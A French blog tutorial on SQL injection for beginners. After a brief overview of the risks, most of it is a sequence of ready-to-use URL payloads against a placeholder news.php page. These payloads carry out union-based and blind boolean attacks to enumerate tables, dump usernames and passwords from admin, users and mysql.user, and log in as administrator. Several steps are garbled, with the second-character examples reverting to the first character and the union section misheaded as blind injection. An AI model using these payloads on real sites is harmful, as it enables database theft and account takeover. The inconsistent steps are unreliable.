NeosLab.com
Exploitation

Tutoriel Injection SQL pour Débutants

Une injection SQL (SQLi) fait référence à une attaque par injection où un attaquant peut exécuter des instructions SQL malveillantes (également appelées charges malveillantes) qui contrôlent le serveur de base de données d’une application Web (également appelé SGBDR). Une vulnérabilité de type injection SQL peux affecter n’importe quel site Web ou application Web utilisant une base de données SQL, cette vulnérabilité est l’une des plus anciennes, des plus répandues et des plus dangereuses des vulnérabilités Web.

En exploitant une vulnérabilité d’injection SQL, dans les circonstances appropriées, un attaquant peut l’utiliser pour contourner les mécanismes d’authentification et d’autorisation de l’application Web et extraire le contenu d’une base de données entière. L’injection SQL peut également être utilisée pour ajouter, modifier et supprimer des enregistrements dans une base de données, ce qui affecte l’intégrité des données.

Dans une telle mesure, une injection SQL peut fournir à un attaquant un accès non autorisé à des données sensibles, y compris des données client, des informations personnelles identifiables (PII), des secrets commerciaux, de la propriété intellectuelle et d’autres informations sensibles.

LE PIRE QU’UN ATTAQUANT PUISSE FAIRE AVEC SQLI?

SQL est un langage de programmation conçu pour gérer les données stockées dans un SGBDR. Par conséquent, SQL peut être utilisé pour accéder, modifier et supprimer des données. En outre, dans des cas spécifiques, un SGBDR peut également exécuter des commandes sur le système d’exploitation à partir d’une instruction SQL.

Gardant ce qui précède à l’esprit, en considérant ce qui suit, il est plus facile de comprendre à quel point une attaque par injection SQL réussie peut être lucrative pour un attaquant.

  • Un attaquant peut employer une injection SQL pour contourner l’authentification ou même usurper l’identité d’utilisateurs spécifiques.
  • L’une des principales fonctions de SQL consiste à sélectionner des données en fonction d’une requête et à retourner le résultat de cette requête. Une vulnérabilité d’injection SQL pourrait permettre la divulgation complète des données résidant sur un serveur de base de données.
  • Comme les applications Web utilisent SQL pour modifier les données d’une base de données, un attaquant pourrait utiliser une injection SQL pour modifier les données stockées dans une base de données. La modification des données affecte l’intégrité des données et peut entraîner des problèmes de réputation, par exemple des problèmes d’annulation de transactions, de modification des soldes et d’autres enregistrements.
  • SQL est utilisé pour supprimer des enregistrements d’une base de données. Un attaquant pourrait utiliser une vulnérabilité d’injection SQL pour supprimer des données d’une base de données. Même si une stratégie de sauvegarde appropriée est utilisée, la suppression des données peut affecter la disponibilité d’une application jusqu’à ce que la base de données soit restaurée.
  • Certains serveurs de base de données sont configurés (intentionnellement ou non) pour permettre l’exécution arbitraire des commandes du système d’exploitation sur le serveur de base de données. Dans les bonnes conditions, un attaquant pourrait utiliser une injection SQL comme vecteur initial dans une attaque réseau interne situé derrière un pare-feu.
L’ANATOMIE D’UNE ATTAQUE PAR INJECTION SQL

Une injection SQL n’a besoin que de deux conditions — une base de données relationnelle qui utilise SQL et une entrée contrôlable par l’utilisateur directement utilisée dans une requête SQL.

Les erreurs sont très utiles aux développeurs au cours du développement, mais si elles sont activées sur un site en ligne, elles peuvent révéler beaucoup d’informations à un attaquant. Les erreurs SQL ont tendance à être descriptives au point où un attaquant peut obtenir des informations sur la structure de la base de données et, dans certains cas, même énumérer une base de données entière simplement en extrayant des informations à partir de messages d’erreur. Dans une telle mesure, les erreurs de base de données doivent être désactivées sur un site en ligne, ou enregistrées dans un fichier avec un accès restreint à la place.

Une autre technique courante pour extraire des données consiste à exploiter l’opérateur UNION SQL, permettant à un attaquant de combiner les résultats de deux instructions SELECT ou plus en un seul résultat. Cela force l’application à renvoyer des données dans la réponse HTTP – Cette technique est appelée Injection SQL union-based.

Source: acunetix.com


INJECTION SQL BLIND (LA PARTIE PLUS DIFFICILE)

Commençons donc avec quelques actions.

Vérifiez la vulnérabilité.

Disons que nous avons un site comme celui-ci.

http://server/news.php?id=5

Maintenant, pour tester si le site est vulnérable, nous ajoutons à la fin de l’URL’ (un apostrophe), ce qui va donner:

http://server/news.php?id=5'

Donc, si nous obtenons une erreur comme

“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…” ou quelque chose de similaire cela signifie que le site est vulnérable aux injections SQL.

Trouver le nombre de colonnes

Pour trouver le nombre de colonnes, nous utilisons l’instruction ORDER BY (indique à la base de données comment trier le résultat) alors comment l’utiliser ? Eh bien juste en incrémentant le nombre jusqu’à ce que nous obtenions une erreur.

http://server/news.php?id=5 order by 1/* <-- no error
http://server/news.php?id=5 order by 2/* <-- no error
http://server/news.php?id=5 order by 3/* <-- no error
http://server/news.php?id=5 order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that)

Cela signifie qu’il y a 3 colonnes, puisque nous obtenons une erreur sur le chiffre 4.

Vérifier la fonction UNION

Avec union, nous pouvons sélectionner plus de données dans une instruction SQL. Nous avons donc:

http://server/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )

Si nous voyons des nombres s’afficher à l’écran, comme par exemple 1 ou 2 ou 3, alors l’UNION fonctionne.

Vérifier la version MySQL

http://server/news.php?id=5 union all select 1,2,3/*

NOTE : Si /* en fonctionne pas ou bien si vous obtenez une erreur, vous pouvez essayer avec “–” c’est un commentaire et c’est important pour que notre requête fonctionne correctement.

Dison que le chiffre 2 apparait à l’écran, pour vérifier la version nous allons remplacer le chiffre 2 par @@version ou version() et nous allons obtenir en retour quelque chose comme 4.1.33-log ou 5.0.45 ou similaire.

http://server/news.php?id=5 union all select 1,@@version,3/*

Si vous obtenez une erreur “union + illegal mix of collations (IMPLICIT + COERCIBLE) …”, vous aurez alors besoin d’utiliser la fonction convert() comme le monte l’exemple ci-dessous.

Exemple :

http://server/news.php?id=5 union all select 1,convert(@@version using latin1),3/*

Ou bien avec hex() et unhex()

Exemple :

http://server/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*

Et vous obtiendrez la version de MySQL.

Obtenir le nom de la table et des colonnes

Si la version de MySQL est inférieur à la version 5 (exemple 4.1.33, 4.1.12…), nous devons dans la plupart des cas devinner la table et le nom des colonnes. Les noms de tables les plus utilisés sont user/s, admin/s, member/s.

Exemple :

http://server/news.php?id=5 union all select 1,2,3 from admin/*

(Nous retrouvons le numéro 2 à l’écran comme précédemment et c’est très bien ainsi).

Nous vons maintenant le nom de l’utilisateur à l’écran, dans cet exemple cela pourrait être admin, ou bien superadmin etc…

Maintenant nous devons vérifier sur la colonne mot de passe existe.

http://server/news.php?id=5 union all select 1,password,3 from admin/*

Nous avons vu le mot de passe à l’écran en hachage ou en texte brut, cela dépend de la façon dont la base de données est configurée: hash md5, hash mysql, sha1 etc … Maintenant nous devons compléter la requête, pour cela nous pouvons utiliser la fonction concat() (pour fusioner les chaines).

Exemple :

http://server/news.php?id=5 union all select1,concat(username,0x3a,password),3 from admin/*

NOTE : Nous avons utilisé 0x3a, c’est une valeur hexadecimal (0x3a est la valeur hexadecimal pour la colonne). Il y a une autre méthode qui consiste a utilisé char(58) en mode ascii.

http://server/news.php?id=5 union all select 1,concat (username,char(58), password),3 from admin/*

Maintenant nous avons un nom d’utilisateur et le mot de passe qui s’affiche à l’ecran comme par exemple admin:admin ou admin:somehash, si vous obtenez ce type de resultat vous pouvez alors vous connecter comme administrateur ou superutilisateur. Si vous ne parvenez pas à deviner le nom de la table, vous pouvez toujours essayer « mysql.user », comme le démontre l’exemple ci-dessous :

http://server/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*

MySQL 5

Pour cela, nous avons besoin de la table « information_schema ». Elle contient l’architecture complète de toutes les tables et colonnes de la base de données. Pour obtenir les tables, nous utiliserons « table_name » et « information_schema.tables ».

Exemple :

http://server/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*

Ici, nous remplaçons le numéro 2 par “table_name” pour obtenir la première table depuis “informa-tion_schema.tables”. Puis nous devons ajouter LIMIT à la fin de la requête pour lister toutes les tables.

Exemple :

http://server/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*

NOTE : Nous utilisons 0,1 (Pour obtenir 1 resultat en commençant de 0), ensuite pour visualiser la seconde table, nous devons changer “limit 0,1” par “limit 1,1”).

Exemple :

http://server/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*

La seconde table apprait alors à l’écran. Si vous souhaitez faire de même pour la troisième table vous devez alors de nouveau adapter votre requête : Pour la troisième table nous utiliserons “limit 2,1”.

Exemple :

http://server/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*

Continuez à incrémenter en suivant cette méthode, jusqu’à ce que vous obteniez des informations utiles comme db_admin, poll_user, auth, auth_user etc …

Pour obtenir les noms de colonnes, la méthode est similaire. Ici, nous utilisons “column_name” et “information_schema.columns” comme dans l’exemple suivant :

http://server/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*

La première colonne est maintenant affichée, afin de pouvoir aller plus loin et récupérer la seconde colonne nous changerons une fois encore “limite 0,1” à “limite 1,1”.

Exemple :

http://server/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*

La deuxième colonne est affichée, alors continuez à incrémenter jusqu’à ce que vous obteniez quelque chose comme le nom d’utilisateur, identifiant, mot de passe etc … Si vous voulez afficher les noms de colonnes pour une table spécifique, utilisez la requête suivante :

Exemple :

http://server/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*

Nous obtenons maintenant le nom de colonne à l’écran contenant les utilisateurs. Notez que cela ne fonctionnera pas si la fonction magic quotes est activée. En partant du principe que nous ayons obtenu les colonnes utilisateurs, mot de passe et e-mail, il ne nous reste plus qu’à compléter notre requête en mettant tout ensemble et encore une fois en utilisant la commande concat().

Exemple :

http://server/news.php?id=5 union all select 1, concat(user,0x3a,pass,0x3a,email) from users/*

From the above exemple we shall get the user:pass:email from table users.

INJECTION SQL BLIND

L’injection SQL blind est un peu plus compliquée que l’injection classique mais elle peut être éxécuté avec la méthodologie suivante. Nous devons d’abord vérifier si le site Web est vulnérable ou non.

Une requête normale devrait être formé comme dans l’exemple suivant

http://server/news.php?id=5 and 1=1 <-- this is always true

Maintenant, afin de vérifier si le site est vulnérable à une injection SQL blind, il suffit de remplacer “1” par “2”.

http://server/news.php?id=5 and 1=2 <-- this is false

Si votre page est chargé avec du contenu manquant tel que du texte ou des images, cela signifie simplement que la page est vulnérable à l’injection SQL blind.

Obtenez la version MySQL

Pour obtenir la version de MySQL dans une attaque de type blind, nous utilisons la fonction substring()

Exemple :

http://server/news.php?id=5 and substring(@@version,1,1)=4

La requête ci-dessus devrait retourner TRUE si la version de MySQL est “4”. Il nous suffit de remplacer “4” par “5”, et si la requête retourne TRUE vous le comprendrez cela signifie que la version de MySQL est “5”.

Exemple :

http://server/news.php?id=5 and substring(@@version,1,1)=5
TESTER SI SUBSELECT FONCTIONNE

Dans certain cas la fonction “select” peut en pas fonctionner. Dans cette situation précise nous utiliserons la fonction “subselect” comme alternative.

Exemple :

http://server/news.php?id=5 and (select 1)=1

Si la page se charge correctement, la fonction “subselects” fonctionne. La prochaine étape sera de voir si nous pouvons avoir un accès à “mysql.user”

Exemple :

http://server/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1

Si la page se charge correctement, cela signifie que nous avons accès à “mysql.user”. Avec pour référence cette dernière requête nous pouvons si nous le souhaitons utiliser cet accès pour extraire par exemple un mot de passe en utilisant les fonctions load_file() et OUTFILE.

VÉRIFIER LES NOMS DE TABLE ET DE COLONNES

C’est une partie où deviner et faire du googling sera votre meilleur atout.

Exemple :

http://server/news.php?id=5 and (select 1 from users limit 0,1)=1

Dans l’exemple ci-dessus, en utilisant “limit 0,1” notre requête retournera “1 ligne de données”. Ensuite, si la page se charge normalement sans contenu manquant, cela signifie simplement que la table “users” a été trouvée. Si vous obtenez FALSE, comme un contenu manquant dans la page, changez simplement le nom de la table jusqu’à ce que vous ayez deviné le nom correcte de la table.

Maintenant, disons que nous avons trouvé que le nom de la table est “users”, l’étape suivante sera de trouver le nom de la colonne en utilisant la même méthodologie. Nous allons commencer avec un nom commun tel que “password”.

Exemple :

http://server/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

Si la page se charge correctement, nous savons maintenant que le nom de la colonne est “password”. Si vous obtenez FALSE, essayez alors un autre nom commun. Dans l’exemple ci-dessus, nous fusionnons “1” avec la colonne “password”, puis la fonction substring() nous renvoie le premier caractère.

EXTRAIRE DES INFORMATIONS DE LA BASE DE DONNÉES

Disons que nous avons définitivement trouvé la table “users” et les colonnes “username” et “password”. Il est maintenant temps de les utiliser pour extraire des informations pertinentes.

http://server/news.php?id=5 and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),1,1))>80

Avec la requête ci-dessus, la fonction substring() retournera le premier caractère du premier utilisateur dans la table “users”. La fonction ascii() convertira le premier caractère en valeur ASCII, puis le comparera avec le symbol supérieur à “>”.

À cette étape, vous comprenez déjà que si le caractère ascii est supérieur à 80, la page se chargera correctement. Nous devrons continuer jusqu’à ce que nous obtenions FALSE.

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

Une fois de plus, nous obtenons TRUE, nous continuerons à incrémenter

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

Nous obtenons TRUE de nouveau, continuons

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

Nous obtenons FALSE !!! Nous avons fini. Nous avons maintenant découvert que le premier caractère du nom d’utilisateur est char(99). En utilisant le convertisseur ascii, nous pouvons facilement trouver que char(99) est la lettre “c”.

Nous allons maintenant passer au second caractère.

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

NOTE : Afin de procéder au second caractère, nous changerons “,1,1” to “,2,1”.

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

Comme précédemment, si nous obtenons TRUE, nous devons continuer à incrémenter.

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

Nous obtenons FALSE, essayons un nombre inférieur.

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

Nous obtenons TRUE, essayons un nombre supérieur.

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

Finalement nous obtenons FALSE !!! Nous avons terminé avec le second caractère. Nous avons maintenant découvert que le second caractère est char(105) et encore une fois en utilisant le convertisseur ascii, nous pouvons facilement trouver que char(105) est la lettre “i”.

La partie la plus difficile de cette méthode est le temps dont vous aurez besoin pour récupérer le nom d’utilisateur complet ou quelle que soit la chaîne ou le contenu que vous aurez besoin de trouver.

Source: exploit-db.com

Articles Similaires

Comment Utiliser SQLmap pour Débutants

neoslab

Comment Exploiter la Vulnérabilité Shellshock CVE 2014-6271

neoslab

Contourner les Antivirus avec des Payloads Encryptés à l’aide de Venom

neoslab

Laisser un commentaire

* By using this form you agree with the storage and handling of your data by this website.

Hey Wait!
Did you know ? You can build your Cyber security or IT career for FREE !
Make yourself happy, join our 8,000 members and receive FREE every day our latest tutorials and webinars to your mailbox!
Yes, Send it Over!
No Thanks!
close-link